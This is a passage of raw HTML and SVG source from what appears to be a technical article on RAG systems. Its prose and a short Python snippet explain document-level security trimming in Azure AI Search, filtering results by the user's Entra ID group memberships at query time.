y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"3-document-level-security-trimming\"\u003e3. Document-Level Security Trimming\u003c/h2\u003e\n\u003cp\u003eA shared RAG index containing documents from multiple teams creates a real data boundary risk. Without security trimming, a user could craft a query to retrieve documents they aren\u0026rsquo;t authorized to read. The LLM won\u0026rsquo;t refuse—it will happily summarize whatever context you hand it.\u003c/p\u003e\n\u003ch3 id=\"the-identity-filter-pattern\"\u003eThe Identity Filter Pattern\u003c/h3\u003e\n\u003cp\u003eThe correct solution is the \u003cstrong\u003eIdentity Filter Pattern\u003c/strong\u003e. During ingestion, map source document permissions (e.g., Confluence Space permissions) to Entra ID Group Object IDs. Store these IDs in a \u003ccode\u003eCollection(Edm.String)\u003c/code\u003e field named \u003ccode\u003eallowedGroups\u003c/code\u003e in your AI Search index.\u003c/p\u003e\n\u003cp\u003eAt query time, your orchestrator retrieves the user\u0026rsquo;s active group memberships via the Microsoft Graph API and applies them as a hard OData filter.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Query-time security trimming using the search.in function\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eget_security_filter\u003c/span\u003e(user_groups: list[str]):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# \u0026#39;search.in\u0026#39; is optimized for large lists of Group Object IDs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    group_string \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;,\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin(user_groups)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;allowedGroups/any(g: search.in(g, \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003egroup_string\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;))\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AI Search execution with security trimming\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eresults \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e search_client\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esearch(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    search_text\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003euser_query,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    filter\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eget_security_filter(active_groups),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    vector_queries\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e[vector_query]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"identity-filter-pattern-security-trimming\"\u003eIdentity Filter Pattern (Security Trimming)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 696 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 344,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,192 L 608,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,288 L 344,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,104 L 352,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,152 L 352,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,192 L 352,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,280 L 352,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,256 L 616,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,288.000000 84.000000,282.399994 84.000000,293.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,48.000000 340.000000,42.400002 340.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,192.000000 604.000000,186.399994 604.000000,197.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003e?\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='180' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='276' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='244' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='148' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='244' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='228' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='244' fill='currentColor' 